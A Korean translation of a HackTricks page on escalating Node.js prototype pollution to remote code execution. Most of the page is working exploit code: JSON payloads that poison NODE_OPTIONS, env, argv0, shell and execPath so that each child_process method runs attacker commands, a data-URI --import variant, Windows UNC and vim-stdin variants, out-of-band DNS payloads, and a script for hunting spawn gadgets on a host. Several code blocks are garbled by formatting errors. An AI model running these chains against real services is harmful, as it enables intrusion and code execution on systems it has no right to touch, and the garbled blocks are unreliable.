Prototype Pollution to RCE

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ

์ทจ์•ฝํ•œ ์ฝ”๋“œ

์‹ค์ œ JS๊ฐ€ ๋‹ค์Œ๊ณผ ๊ฐ™์€ ์ฝ”๋“œ๋ฅผ ์‚ฌ์šฉํ•˜๋Š” ๊ฒƒ์„ ์ƒ์ƒํ•ด ๋ณด์„ธ์š”:

const { execSync, fork } = require("child_process")

function isObject(obj) {
console.log(typeof obj)
return typeof obj === "function" || typeof obj === "object"
}

// Function vulnerable to prototype pollution
function merge(target, source) {
for (let key in source) {
if (isObject(target[key]) && isObject(source[key])) {
merge(target[key], source[key])
} else {
target[key] = source[key]
}
}
return target
}

function clone(target) {
return merge({}, target)
}

// Run prototype pollution with user input
// Check in the next sections what payload put here to execute arbitrary code
clone(USERINPUT)

// Spawn process, this will call the gadget that poputales env variables
// Create an a_file.js file in the current dir: `echo a=2 > a_file.js`
var proc = fork("a_file.js")

PP2RCE via env vars

PP2RCE๋Š” Prototype Pollution to RCE (์›๊ฒฉ ์ฝ”๋“œ ์‹คํ–‰)์„ ์˜๋ฏธํ•ฉ๋‹ˆ๋‹ค.

์ด writeup์— ๋”ฐ๋ฅด๋ฉด, **child_process**์˜ ์–ด๋–ค ๋ฉ”์„œ๋“œ(์˜ˆ: fork ๋˜๋Š” spawn ๋“ฑ)๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ํ”„๋กœ์„ธ์Šค๊ฐ€ ์ƒ์„ฑ๋  ๋•Œ, normalizeSpawnArguments ๋ฉ”์„œ๋“œ๋ฅผ ํ˜ธ์ถœํ•˜๋ฉฐ, ์ด๋Š” ์ƒˆ๋กœ์šด env vars๋ฅผ ์ƒ์„ฑํ•˜๊ธฐ ์œ„ํ•œ ํ”„๋กœํ† ํƒ€์ž… ์˜ค์—ผ ๊ฐ€์ ฏ์ž…๋‹ˆ๋‹ค:

//See code in https://github.com/nodejs/node/blob/02aa8c22c26220e16616a88370d111c0229efe5e/lib/child_process.js#L638-L686

var env = options.env || process.env;
var envPairs = [];
[...]
let envKeys = [];
// Prototype values are intentionally included.
for (const key in env) {
ArrayPrototypePush(envKeys, key);
}
[...]
for (const key of envKeys) {
const value = env[key];
if (value !== undefined) {
ArrayPrototypePush(envPairs, `${key}=${value}`); // <-- Pollution
}
}

์ฝ”๋“œ๋ฅผ ํ™•์ธํ•ด๋ณด๋ฉด **envPairs**๋ฅผ ์˜ค์—ผ์‹œ์ผœ .env ์†์„ฑ์„ ํ†ตํ•ด ๊ฐ€๋Šฅํ•˜๋‹ค๋Š” ๊ฒƒ์„ ์•Œ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

__proto__ ์˜ค์—ผ

Warning

child_process ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ์˜ normalizeSpawnArguments ํ•จ์ˆ˜๊ฐ€ ์ž‘๋™ํ•˜๋Š” ๋ฐฉ์‹ ๋•Œ๋ฌธ์—, ํ”„๋กœ์„ธ์Šค์— ์ƒˆ๋กœ์šด env ๋ณ€์ˆ˜๋ฅผ ์„ค์ •ํ•˜๊ธฐ ์œ„ํ•ด ๋ฌด์–ธ๊ฐ€๋ฅผ ํ˜ธ์ถœํ•  ๋•Œ ๋ฌด์—‡์ด๋“  ์˜ค์—ผ์‹œํ‚ค๊ธฐ๋งŒ ํ•˜๋ฉด ๋ฉ๋‹ˆ๋‹ค.
์˜ˆ๋ฅผ ๋“ค์–ด, __proto__.avar="valuevar"๋ฅผ ์‹คํ–‰ํ•˜๋ฉด ํ”„๋กœ์„ธ์Šค๋Š” avar๋ผ๋Š” ์ด๋ฆ„์˜ ๋ณ€์ˆ˜๋ฅผ valuevar ๊ฐ’์œผ๋กœ ๊ฐ€์ง„ ์ƒํƒœ๋กœ ์ƒ์„ฑ๋ฉ๋‹ˆ๋‹ค.

๊ทธ๋Ÿฌ๋‚˜ env ๋ณ€์ˆ˜๊ฐ€ ์ฒซ ๋ฒˆ์งธ๊ฐ€ ๋˜๊ธฐ ์œ„ํ•ด์„œ๋Š” .env ์†์„ฑ์„ ์˜ค์—ผ์‹œ์ผœ์•ผ ํ•˜๋ฉฐ (์ผ๋ถ€ ๋ฐฉ๋ฒ•์—์„œ๋งŒ) ๊ทธ ๋ณ€์ˆ˜๊ฐ€ ์ฒซ ๋ฒˆ์งธ๊ฐ€ ๋ฉ๋‹ˆ๋‹ค (๊ณต๊ฒฉ์„ ํ—ˆ์šฉํ•จ).

๊ทธ๋ž˜์„œ ๋‹ค์Œ ๊ณต๊ฒฉ์—์„œ **NODE_OPTIONS**๋Š” .env ์•ˆ์— ์—†์Šต๋‹ˆ๋‹ค.

const { execSync, fork } = require("child_process")

// Manual Pollution
b = {}
b.__proto__.env = {
EVIL: "console.log(require('child_process').execSync('touch /tmp/pp2rce').toString())//",
}
b.__proto__.NODE_OPTIONS = "--require /proc/self/environ"

// Trigger gadget
var proc = fork("./a_file.js")
// This should create the file /tmp/pp2rec

// Abusing the vulnerable code
USERINPUT = JSON.parse(
'{"__proto__": {"NODE_OPTIONS": "--require /proc/self/environ", "env": { "EVIL":"console.log(require(\\"child_process\\").execSync(\\"touch /tmp/pp2rce\\").toString())//"}}}'
)

clone(USERINPUT)

var proc = fork("a_file.js")
// This should create the file /tmp/pp2rec

constructor.prototype ์˜ค์—ผ

const { execSync, fork } = require("child_process")

// Manual Pollution
b = {}
b.constructor.prototype.env = {
EVIL: "console.log(require('child_process').execSync('touch /tmp/pp2rce2').toString())//",
}
b.constructor.prototype.NODE_OPTIONS = "--require /proc/self/environ"

proc = fork("a_file.js")
// This should create the file /tmp/pp2rec2

// Abusing the vulnerable code
USERINPUT = JSON.parse(
'{"constructor": {"prototype": {"NODE_OPTIONS": "--require /proc/self/environ", "env": { "EVIL":"console.log(require(\\"child_process\\").execSync(\\"touch /tmp/pp2rce2\\").toString())//"}}}}'
)

clone(USERINPUT)

var proc = fork("a_file.js")
// This should create the file /tmp/pp2rec2

PP2RCE via env vars + cmdline

์ด์ „๊ณผ ์œ ์‚ฌํ•œ ํŽ˜์ด๋กœ๋“œ๊ฐ€ ์ด ๊ธ€์—์„œ ์ œ์•ˆ๋˜์—ˆ์Šต๋‹ˆ๋‹ค. ์ฃผ์š” ์ฐจ์ด์ ์€ ๋‹ค์Œ๊ณผ ๊ฐ™์Šต๋‹ˆ๋‹ค:

  • nodejs payload๋ฅผ ํŒŒ์ผ /proc/self/environ์— ์ €์žฅํ•˜๋Š” ๋Œ€์‹ , **/proc/self/cmdline**์˜ argv0์— ์ €์žฅํ•ฉ๋‹ˆ๋‹ค.
  • ๊ทธ๋Ÿฐ ๋‹ค์Œ, **NODE_OPTIONS**๋ฅผ ํ†ตํ•ด ํŒŒ์ผ /proc/self/environ์„ ์š”๊ตฌํ•˜๋Š” ๋Œ€์‹ , **/proc/self/cmdline**์„ ์š”๊ตฌํ•ฉ๋‹ˆ๋‹ค.
const { execSync, fork } = require("child_process")

// Manual Pollution
b = {}
b.__proto__.argv0 =
"console.log(require('child_process').execSync('touch /tmp/pp2rce2').toString())//"
b.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"

// Trigger gadget
var proc = fork("./a_file.js")
// This should create the file /tmp/pp2rec2

// Abusing the vulnerable code
USERINPUT = JSON.parse(
'{"__proto__": {"NODE_OPTIONS": "--require /proc/self/cmdline", "argv0": "console.log(require(\\"child_process\\").execSync(\\"touch /tmp/pp2rce2\\").toString())//"}}'
)

clone(USERINPUT)

var proc = fork("a_file.js")
// This should create the file /tmp/pp2rec

Filesystem-less PP2RCE via --import (Node โ‰ฅ 19)

Note

Node.js 19๋ถ€ํ„ฐ CLI ํ”Œ๋ž˜๊ทธ --import๋ฅผ NODE_OPTIONS๋ฅผ ํ†ตํ•ด --require์™€ ๊ฐ™์€ ๋ฐฉ์‹์œผ๋กœ ์ „๋‹ฌํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. --require์™€๋Š” ๋‹ฌ๋ฆฌ, --import๋Š” data-URI๋ฅผ ์ดํ•ดํ•˜๋ฏ€๋กœ ๊ณต๊ฒฉ์ž๋Š” ํŒŒ์ผ ์‹œ์Šคํ…œ์— ๋Œ€ํ•œ ์“ฐ๊ธฐ ๊ถŒํ•œ์ด ์ „ํ˜€ ํ•„์š”ํ•˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค. ์ด๋Š” ์ž ๊ธˆ๋œ ๋˜๋Š” ์ฝ๊ธฐ ์ „์šฉ ํ™˜๊ฒฝ์—์„œ ์žฅ์น˜๋ฅผ ํ›จ์”ฌ ๋” ์‹ ๋ขฐํ•  ์ˆ˜ ์žˆ๊ฒŒ ๋งŒ๋“ญ๋‹ˆ๋‹ค.

์ด ๊ธฐ์ˆ ์€ 2023๋…„ 5์›” PortSwigger ์—ฐ๊ตฌ์— ์˜ํ•ด ์ฒ˜์Œ ๊ณต๊ฐœ์ ์œผ๋กœ ๋ฌธ์„œํ™”๋˜์—ˆ์œผ๋ฉฐ ์ดํ›„ ์—ฌ๋Ÿฌ CTF ์ฑŒ๋ฆฐ์ง€์—์„œ ์žฌํ˜„๋˜์—ˆ์Šต๋‹ˆ๋‹ค.

๊ณต๊ฒฉ์€ ์œ„์—์„œ ๋ณด์—ฌ์ค€ --require /proc/self/* ํŠธ๋ฆญ๊ณผ ๊ฐœ๋…์ ์œผ๋กœ ๋™์ผํ•˜์ง€๋งŒ, ํŒŒ์ผ์„ ๊ฐ€๋ฆฌํ‚ค๋Š” ๋Œ€์‹  ํŽ˜์ด๋กœ๋“œ๋ฅผ base64๋กœ ์ธ์ฝ”๋”ฉ๋œ data: URL์— ์ง์ ‘ ์‚ฝ์ž…ํ•ฉ๋‹ˆ๋‹ค:

const { fork } = require("child_process")

// Manual pollution
b = {}

// Javascript that is executed once Node parses the import URL
const js = "require('child_process').execSync('touch /tmp/pp2rce_import')";
const payload = `data:text/javascript;base64,${Buffer.from(js).toString('base64')}`;

b.__proto__.NODE_OPTIONS = `--import ${payload}`;
// any key that will force spawn (fork) โ€“ same as earlier examples
fork("./a_file.js");

์ทจ์•ฝํ•œ merge/clone sink๋ฅผ ์•…์šฉํ•˜๋Š” ๋ฐฉ๋ฒ•์€ ํŽ˜์ด์ง€ ์ƒ๋‹จ์— ๋‚˜์™€ ์žˆ์Šต๋‹ˆ๋‹ค:

USERINPUT = JSON.parse('{"__proto__":{"NODE_OPTIONS":"--import data:text/javascript;base64,cmVxdWlyZSgnY2hpbGRfcHJvY2VzcycpLmV4ZWNTeW5jKCd0b3VjaCBcL3RtcFwvcHAycmNlX2ltcG9ydCcp"}}');
clone(USERINPUT);

// Gadget trigger
fork("./a_file.js");
// โ†’ creates /tmp/pp2rce_import

์™œ --import๊ฐ€ ๋„์›€์ด ๋˜๋Š”๊ฐ€

  1. ๋””์Šคํฌ ์ƒํ˜ธ์ž‘์šฉ ์—†์Œ โ€“ ํŽ˜์ด๋กœ๋“œ๋Š” ํ”„๋กœ์„ธ์Šค ๋ช…๋ น์ค„๊ณผ ํ™˜๊ฒฝ ๋‚ด์—์„œ ์™„์ „ํžˆ ์ด๋™ํ•ฉ๋‹ˆ๋‹ค.
  2. ESM ์ „์šฉ ํ™˜๊ฒฝ์—์„œ ์ž‘๋™ โ€“ --import๋Š” ECMAScript ๋ชจ๋“ˆ์„ ๊ธฐ๋ณธ์œผ๋กœ ํ•˜๋Š” ์ตœ์‹  Node ๋ฆด๋ฆฌ์Šค์—์„œ JavaScript๋ฅผ ๋ฏธ๋ฆฌ ๋กœ๋“œํ•˜๋Š” ํ‘œ์ค€ ๋ฐฉ๋ฒ•์ž…๋‹ˆ๋‹ค.
  3. ์ผ๋ถ€ --require ํ—ˆ์šฉ ๋ชฉ๋ก ์šฐํšŒ โ€“ ๋ช‡๋ช‡ ๊ฐ•ํ™” ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ๋Š” --require๋งŒ ํ•„ํ„ฐ๋งํ•˜๊ณ  --import๋Š” ๊ทธ๋Œ€๋กœ ๋‘ก๋‹ˆ๋‹ค.

Warning

NODE_OPTIONS์—์„œ --import ์ง€์›์€ ์ตœ์‹  Node 22.2.0 (2025๋…„ 6์›”)์—์„œ๋„ ์—ฌ์ „ํžˆ ์กด์žฌํ•ฉ๋‹ˆ๋‹ค. Node ์ฝ”์–ด ํŒ€์€ ํ–ฅํ›„ ๋ฐ์ดํ„ฐ URI๋ฅผ ์ œํ•œํ•˜๋Š” ๊ฒƒ์— ๋Œ€ํ•ด ๋…ผ์˜ํ•˜๊ณ  ์žˆ์ง€๋งŒ, ์ž‘์„ฑ ์‹œ์ ์—์„œ๋Š” ์™„ํ™” ์กฐ์น˜๊ฐ€ ์—†์Šต๋‹ˆ๋‹ค.


DNS ์ƒํ˜ธ์ž‘์šฉ

๋‹ค์Œ ํŽ˜์ด๋กœ๋“œ๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ์ด์ „์— ๋…ผ์˜ํ•œ NODE_OPTIONS ํ™˜๊ฒฝ ๋ณ€์ˆ˜๋ฅผ ์•…์šฉํ•˜๊ณ  DNS ์ƒํ˜ธ์ž‘์šฉ์œผ๋กœ ์ž‘๋™ ์—ฌ๋ถ€๋ฅผ ๊ฐ์ง€ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

{
"__proto__": {
"argv0": "node",
"shell": "node",
"NODE_OPTIONS": "--inspect=id.oastify.com"
}
}

๋˜๋Š” WAF๊ฐ€ ๋„๋ฉ”์ธ์„ ์š”์ฒญํ•˜์ง€ ์•Š๋„๋ก ํ•˜๋ ค๋ฉด:

{
"__proto__": {
"argv0": "node",
"shell": "node",
"NODE_OPTIONS": "--inspect=id\"\".oastify\"\".com"
}
}

PP2RCE ์ทจ์•ฝ์  child_process ํ•จ์ˆ˜

์ด ์„น์…˜์—์„œ๋Š” child_process์˜ ๊ฐ ํ•จ์ˆ˜๋ฅผ ๋ถ„์„ํ•˜์—ฌ ์ฝ”๋“œ๋ฅผ ์‹คํ–‰ํ•˜๊ณ  ํ•ด๋‹น ํ•จ์ˆ˜๋ฅผ ๊ฐ•์ œ๋กœ ์ฝ”๋“œ ์‹คํ–‰ํ•˜๋„๋ก ํ•˜๋Š” ๊ธฐ์ˆ ์„ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ๋Š”์ง€ ์‚ดํŽด๋ณด๊ฒ ์Šต๋‹ˆ๋‹ค:

exec ์•…์šฉ ```javascript // environ trick - not working // It's not possible to pollute the .env attr to create a first env var // because options.env is null (not undefined)

// cmdline trick - working with small variation // Working after kEmptyObject (fix) const { exec } = require(โ€œchild_processโ€) p = {} p.proto.shell = โ€œ/proc/self/exeโ€ //You need to make sure the node executable is executed p.proto.argv0 = โ€œconsole.log(require(โ€˜child_processโ€™).execSync(โ€˜touch /tmp/exec-cmdlineโ€™).toString())//โ€ p.proto.NODE_OPTIONS = โ€œโ€“require /proc/self/cmdlineโ€ var proc = exec(โ€œsomethingโ€)

// stdin trick - not working // Not using stdin

// Windows // Working after kEmptyObject (fix) const { exec } = require(โ€œchild_processโ€) p = {} p.proto.shell = โ€œ\\127.0.0.1\C$\Windows\System32\calc.exeโ€ var proc = exec(โ€œsomethingโ€)

</details>

<details>

<summary><strong><code>execFile</code> ์ทจ์•ฝ์  ์ด์šฉ</strong></summary>
```javascript
// environ trick - not working
// It's not possible to pollute the .en attr to create a first env var

// cmdline trick - working with a big requirement
// Working after kEmptyObject (fix)
const { execFile } = require("child_process")
p = {}
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.argv0 =
"console.log(require('child_process').execSync('touch /tmp/execFile-cmdline').toString())//"
p.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
var proc = execFile("/usr/bin/node")

// stdin trick - not working
// Not using stdin

// Windows - not working

**execFile**๊ฐ€ ์ž‘๋™ํ•˜๋ ค๋ฉด ๋ฐ˜๋“œ์‹œ node๋ฅผ ์‹คํ–‰ํ•ด์•ผ NODE_OPTIONS๊ฐ€ ์ž‘๋™ํ•ฉ๋‹ˆ๋‹ค.
node๋ฅผ ์‹คํ–‰ํ•˜์ง€ ์•Š๋Š” ๊ฒฝ์šฐ, ์‹คํ–‰ ์ค‘์ธ ๊ฒƒ์„ ํ™˜๊ฒฝ ๋ณ€์ˆ˜๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ์‹คํ–‰ ๋ฐฉ์‹์„ ๋ณ€๊ฒฝํ•  ์ˆ˜ ์žˆ๋Š” ๋ฐฉ๋ฒ•์„ ์ฐพ์•„์•ผ ํ•ฉ๋‹ˆ๋‹ค.

๋‹ค๋ฅธ ๊ธฐ์ˆ ๋“ค์€ ์ด ์š”๊ตฌ ์‚ฌํ•ญ ์—†์ด ์ž‘๋™ํ•ฉ๋‹ˆ๋‹ค. ์™œ๋ƒํ•˜๋ฉด ํ”„๋กœํ† ํƒ€์ž… ์˜ค์—ผ์„ ํ†ตํ•ด ์‹คํ–‰๋˜๋Š” ๊ฒƒ์„ ์ˆ˜์ •ํ•  ์ˆ˜ ์žˆ๊ธฐ ๋•Œ๋ฌธ์ž…๋‹ˆ๋‹ค. (์ด ๊ฒฝ์šฐ, .shell์„ ์˜ค์—ผ์‹œํ‚ฌ ์ˆ˜ ์žˆ๋”๋ผ๋„, ์‹คํ–‰๋˜๋Š” ๊ฒƒ์„ ์˜ค์—ผ์‹œํ‚ฌ ์ˆ˜๋Š” ์—†์Šต๋‹ˆ๋‹ค).

fork exploitation ```javascript // environ trick - working // Working after kEmptyObject (fix) const { fork } = require("child_process") b = {} b.__proto__.env = { EVIL: "console.log(require('child_process').execSync('touch /tmp/fork-environ').toString())//", } b.__proto__.NODE_OPTIONS = "--require /proc/self/environ" var proc = fork("something")

// cmdline trick - working // Working after kEmptyObject (fix) const { fork } = require(โ€œchild_processโ€) p = {} p.proto.argv0 = โ€œconsole.log(require(โ€˜child_processโ€™).execSync(โ€˜touch /tmp/fork-cmdlineโ€™).toString())//โ€ p.proto.NODE_OPTIONS = โ€œโ€“require /proc/self/cmdlineโ€ var proc = fork(โ€œsomethingโ€)

// stdin trick - not working // Not using stdin

// execArgv trick - working // Only the fork method has this attribute // Working after kEmptyObject (fix) const { fork } = require(โ€œchild_processโ€) b = {} b.proto.execPath = โ€œ/bin/shโ€ b.proto.argv0 = โ€œ/bin/shโ€ b.proto.execArgv = [โ€œ-cโ€, โ€œtouch /tmp/fork-execArgvโ€] var proc = fork(โ€œ./a_file.jsโ€)

// Windows // Working after kEmptyObject (fix) const { fork } = require(โ€œchild_processโ€) b = {} b.proto.execPath = โ€œ\\127.0.0.1\C$\Windows\System32\calc.exeโ€ var proc = fork(โ€œ./a_file.jsโ€)

</details>

<details>

<summary><strong><code>spawn</code> ์ทจ์•ฝ์  ์ด์šฉ</strong></summary>
```javascript
// environ trick - working with small variation (shell and argv0)
// NOT working after kEmptyObject (fix) without options
const { spawn } = require("child_process")
p = {}
// If in windows or mac you need to change the following params to the path of ndoe
p.__proto__.argv0 = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.env = {
EVIL: "console.log(require('child_process').execSync('touch /tmp/spawn-environ').toString())//",
}
p.__proto__.NODE_OPTIONS = "--require /proc/self/environ"
var proc = spawn("something")
//var proc = spawn('something',[],{"cwd":"/tmp"}); //To work after kEmptyObject (fix)

// cmdline trick - working with small variation (shell)
// NOT working after kEmptyObject (fix) without options
const { spawn } = require("child_process")
p = {}
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.argv0 =
"console.log(require('child_process').execSync('touch /tmp/spawn-cmdline').toString())//"
p.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
var proc = spawn("something")
//var proc = spawn('something',[],{"cwd":"/tmp"}); //To work after kEmptyObject (fix)

// stdin trick - not working
// Not using stdin

// Windows
// NOT working after require(fix) without options
const { spawn } = require("child_process")
p = {}
p.__proto__.shell = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
var proc = spawn("something")
//var proc = spawn('something',[],{"cwd":"C:\\"}); //To work after kEmptyObject (fix)
execFileSync ์ทจ์•ฝ์  ์ด์šฉ ```javascript // environ trick - working with small variation (shell and argv0) // Working after kEmptyObject (fix) const { execFileSync } = require("child_process") p = {} // If in windows or mac you need to change the following params to the path of ndoe p.__proto__.argv0 = "/proc/self/exe" //You need to make sure the node executable is executed p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed p.__proto__.env = { EVIL: "console.log(require('child_process').execSync('touch /tmp/execFileSync-environ').toString())//", } p.__proto__.NODE_OPTIONS = "--require /proc/self/environ" var proc = execFileSync("something")

// cmdline trick - working with small variation (shell) // Working after kEmptyObject (fix) const { execFileSync } = require(โ€œchild_processโ€) p = {} p.proto.shell = โ€œ/proc/self/exeโ€ //You need to make sure the node executable is executed p.proto.argv0 = โ€œconsole.log(require(โ€˜child_processโ€™).execSync(โ€˜touch /tmp/execFileSync-cmdlineโ€™).toString())//โ€ p.proto.NODE_OPTIONS = โ€œโ€“require /proc/self/cmdlineโ€ var proc = execFileSync(โ€œsomethingโ€)

// stdin trick - working // Working after kEmptyObject (fix) const { execFileSync } = require(โ€œchild_processโ€) p = {} p.proto.argv0 = โ€œ/usr/bin/vimโ€ p.proto.shell = โ€œ/usr/bin/vimโ€ p.proto.input = โ€œ:!{touch /tmp/execFileSync-stdin}\nโ€ var proc = execFileSync(โ€œsomethingโ€)

// Windows // Working after kEmptyObject (fix) const { execSync } = require(โ€œchild_processโ€) p = {} p.proto.shell = โ€œ\\127.0.0.1\C$\Windows\System32\calc.exeโ€ p.proto.argv0 = โ€œ\\127.0.0.1\C$\Windows\System32\calc.exeโ€ var proc = execSync(โ€œsomethingโ€)

</details>

<details>

<summary><strong><code>execSync</code> ์ทจ์•ฝ์  ์ด์šฉ</strong></summary>
```javascript
// environ trick - working with small variation (shell and argv0)
// Working after kEmptyObject (fix)
const { execSync } = require("child_process")
p = {}
// If in windows or mac you need to change the following params to the path of ndoe
p.__proto__.argv0 = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.env = {
EVIL: "console.log(require('child_process').execSync('touch /tmp/execSync-environ').toString())//",
}
p.__proto__.NODE_OPTIONS = "--require /proc/self/environ"
var proc = execSync("something")

// cmdline trick - working with small variation (shell)
// Working after kEmptyObject (fix)
const { execSync } = require("child_process")
p = {}
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.argv0 =
"console.log(require('child_process').execSync('touch /tmp/execSync-cmdline').toString())//"
p.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
var proc = execSync("something")

// stdin trick - working
// Working after kEmptyObject (fix)
const { execSync } = require("child_process")
p = {}
p.__proto__.argv0 = "/usr/bin/vim"
p.__proto__.shell = "/usr/bin/vim"
p.__proto__.input = ":!{touch /tmp/execSync-stdin}\n"
var proc = execSync("something")

// Windows
// Working after kEmptyObject (fix)
const { execSync } = require("child_process")
p = {}
p.__proto__.shell = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
var proc = execSync("something")
spawnSync ์•…์šฉ ```javascript // environ trick - working with small variation (shell and argv0) // NOT working after kEmptyObject (fix) without options const { spawnSync } = require("child_process") p = {} // If in windows or mac you need to change the following params to the path of node p.__proto__.argv0 = "/proc/self/exe" //You need to make sure the node executable is executed p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed p.__proto__.env = { EVIL: "console.log(require('child_process').execSync('touch /tmp/spawnSync-environ').toString())//", } p.__proto__.NODE_OPTIONS = "--require /proc/self/environ" var proc = spawnSync("something") //var proc = spawnSync('something',[],{"cwd":"/tmp"}); //To work after kEmptyObject (fix)

// cmdline trick - working with small variation (shell) // NOT working after kEmptyObject (fix) without options const { spawnSync } = require(โ€œchild_processโ€) p = {} p.proto.shell = โ€œ/proc/self/exeโ€ //You need to make sure the node executable is executed p.proto.argv0 = โ€œconsole.log(require(โ€˜child_processโ€™).execSync(โ€˜touch /tmp/spawnSync-cmdlineโ€™).toString())//โ€ p.proto.NODE_OPTIONS = โ€œโ€“require /proc/self/cmdlineโ€ var proc = spawnSync(โ€œsomethingโ€) //var proc = spawnSync(โ€˜somethingโ€™,[],{โ€œcwdโ€:โ€œ/tmpโ€}); //To work after kEmptyObject (fix)

// stdin trick - working // NOT working after kEmptyObject (fix) without options const { spawnSync } = require(โ€œchild_processโ€) p = {} p.proto.argv0 = โ€œ/usr/bin/vimโ€ p.proto.shell = โ€œ/usr/bin/vimโ€ p.proto.input = โ€œ:!{touch /tmp/spawnSync-stdin}\nโ€ var proc = spawnSync(โ€œsomethingโ€) //var proc = spawnSync(โ€˜somethingโ€™,[],{โ€œcwdโ€:โ€œ/tmpโ€}); //To work after kEmptyObject (fix)

// Windows // NOT working after require(fix) without options const { spawnSync } = require(โ€œchild_processโ€) p = {} p.proto.shell = โ€œ\\127.0.0.1\C$\Windows\System32\calc.exeโ€ var proc = spawnSync(โ€œsomethingโ€) //var proc = spawnSync(โ€˜somethingโ€™,[],{โ€œcwdโ€:โ€œC:\โ€}); //To work after kEmptyObject (fix)

</details>

## ๊ฐ•์ œ ์Šคํฐ

์ด์ „ ์˜ˆ์ œ์—์„œ๋Š” ๊ฐ€์ ฏ์„ ํŠธ๋ฆฌ๊ฑฐํ•˜๋Š” ๋ฐฉ๋ฒ•์„ ๋ณด์•˜๊ณ , **`spawn`**์„ ํ˜ธ์ถœํ•˜๋Š” ๊ธฐ๋Šฅ์ด **์กด์žฌํ•ด์•ผ** ํ•œ๋‹ค๋Š” ๊ฒƒ์„ ์•Œ์•˜์Šต๋‹ˆ๋‹ค (๋ฌด์–ธ๊ฐ€๋ฅผ ์‹คํ–‰ํ•˜๊ธฐ ์œ„ํ•ด ์‚ฌ์šฉ๋˜๋Š” ๋ชจ๋“  **`child_process`** ๋ฉ”์„œ๋“œ๋Š” ์ด๋ฅผ ํ˜ธ์ถœํ•ฉ๋‹ˆ๋‹ค). ์ด์ „ ์˜ˆ์ œ์—์„œ๋Š” **์ฝ”๋“œ์˜ ์ผ๋ถ€**์˜€์ง€๋งŒ, ์ฝ”๋“œ๊ฐ€ **ํ˜ธ์ถœํ•˜์ง€ ์•Š๋Š”** ๊ฒฝ์šฐ๋Š” ์–ด๋–ป๊ฒŒ ๋ ๊นŒ์š”?

### require ํŒŒ์ผ ๊ฒฝ๋กœ ์ œ์–ด

์ด [**๋‹ค๋ฅธ ๊ธ€**](https://blog.sonarsource.com/blitzjs-prototype-pollution/)์—์„œ ์‚ฌ์šฉ์ž๋Š” **`require`**๊ฐ€ ์‹คํ–‰๋  ํŒŒ์ผ ๊ฒฝ๋กœ๋ฅผ ์ œ์–ดํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด ์‹œ๋‚˜๋ฆฌ์˜ค์—์„œ ๊ณต๊ฒฉ์ž๋Š” **์‹œ์Šคํ…œ ๋‚ด์—์„œ `.js` ํŒŒ์ผ์„ ์ฐพ์•„์•ผ** ํ•˜๋ฉฐ, ํ•ด๋‹น ํŒŒ์ผ์ด **๊ฐ€์ ธ์˜ฌ ๋•Œ ์Šคํฐ ๋ฉ”์„œ๋“œ๋ฅผ ์‹คํ–‰ํ•ฉ๋‹ˆ๋‹ค.**\
๊ฐ€์ ธ์˜ฌ ๋•Œ ์Šคํฐ ํ•จ์ˆ˜๋ฅผ ํ˜ธ์ถœํ•˜๋Š” ์ผ๋ฐ˜์ ์ธ ํŒŒ์ผ์˜ ๋ช‡ ๊ฐ€์ง€ ์˜ˆ๋Š” ๋‹ค์Œ๊ณผ ๊ฐ™์Šต๋‹ˆ๋‹ค:

- /path/to/npm/scripts/changelog.js
- /opt/yarn-v1.22.19/preinstall.js
- **์•„๋ž˜์—์„œ ๋” ๋งŽ์€ ํŒŒ์ผ ์ฐพ๊ธฐ**

๋‹ค์Œ ๊ฐ„๋‹จํ•œ ์Šคํฌ๋ฆฝํŠธ๋Š” **ํŒจ๋”ฉ ์—†์ด** **child_process**์˜ **ํ˜ธ์ถœ**์„ ๊ฒ€์ƒ‰ํ•ฉ๋‹ˆ๋‹ค (ํ•จ์ˆ˜ ๋‚ด์˜ ํ˜ธ์ถœ์„ ํ‘œ์‹œํ•˜์ง€ ์•Š๊ธฐ ์œ„ํ•ด):
```bash
find / -name "*.js" -type f -exec grep -l "child_process" {} \; 2>/dev/null | while read file_path; do
grep --with-filename -nE "^[a-zA-Z].*(exec\(|execFile\(|fork\(|spawn\(|execFileSync\(|execSync\(|spawnSync\()" "$file_path" | grep -v "require(" | grep -v "function " | grep -v "util.deprecate" | sed -E 's/.{255,}.*//'
done
# Note that this way of finding child_process executions just importing might not find valid scripts as functions called in the root containing child_process calls won't be found.
์ด์ „ ์Šคํฌ๋ฆฝํŠธ์—์„œ ๋ฐœ๊ฒฌ๋œ ํฅ๋ฏธ๋กœ์šด ํŒŒ์ผ
